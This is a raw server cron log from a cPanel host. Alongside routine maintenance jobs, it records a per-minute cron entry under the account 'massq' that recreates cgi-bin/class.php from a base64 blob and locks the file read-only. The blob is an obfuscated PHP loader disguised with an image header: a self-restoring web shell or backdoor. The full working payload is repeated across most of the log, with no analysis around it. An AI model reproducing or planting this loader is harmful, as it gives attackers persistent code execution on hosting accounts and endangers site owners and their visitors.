Aug 31 17:14:01 server CROND[1639]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 17:14:01 server CROND[1640]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 17:15:01 server CROND[2060]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 17:15:01 server CROND[2062]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 17:15:01 server CROND[2065]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 17:15:01 server CROND[2068]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 17:15:01 server CROND[2066]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Aug 31 17:15:01 server CROND[2067]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 17:15:01 server CROND[2064]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 31 17:15:01 server CROND[2069]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 31 17:16:01 server CROND[3063]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 17:16:01 server CROND[3064]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 17:16:01 server CROND[3065]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 17:17:01 server CROND[3458]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 17:17:01 server CROND[3459]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 17:17:01 server CROND[3460]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 17:18:01 server CROND[3841]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 17:18:01 server CROND[3842]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 17:18:01 server CROND[3845]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 17:19:01 server CROND[4314]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 17:19:01 server CROND[4315]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 17:19:01 server CROND[4316]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 17:20:01 server CROND[4699]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 31 17:20:01 server CROND[4705]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Aug 31 17:20:01 server CROND[4717]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 17:20:01 server CROND[4715]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 31 17:20:01 server CROND[4716]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 17:20:01 server CROND[4718]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 17:20:01 server CROND[4721]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 17:20:01 server CROND[4719]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 31 17:20:01 server CROND[4720]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 17:21:01 server CROND[5567]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 17:21:01 server CROND[5568]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 17:21:01 server CROND[5569]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 17:22:01 server CROND[5968]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 17:22:01 server CROND[5969]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 17:22:01 server CROND[5970]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 17:23:01 server CROND[6409]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 17:23:01 server CROND[6410]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 17:23:01 server CROND[6411]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 17:24:01 server CROND[6890]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 17:24:01 server CROND[6891]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 17:24:01 server CROND[6892]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 17:25:01 server CROND[7280]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 17:25:01 server CROND[7282]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 17:25:01 server CROND[7283]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 31 17:25:01 server CROND[7288]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 17:25:01 server CROND[7287]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 17:25:01 server CROND[7285]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 17:25:01 server CROND[7289]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 31 17:26:01 server CROND[8125]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
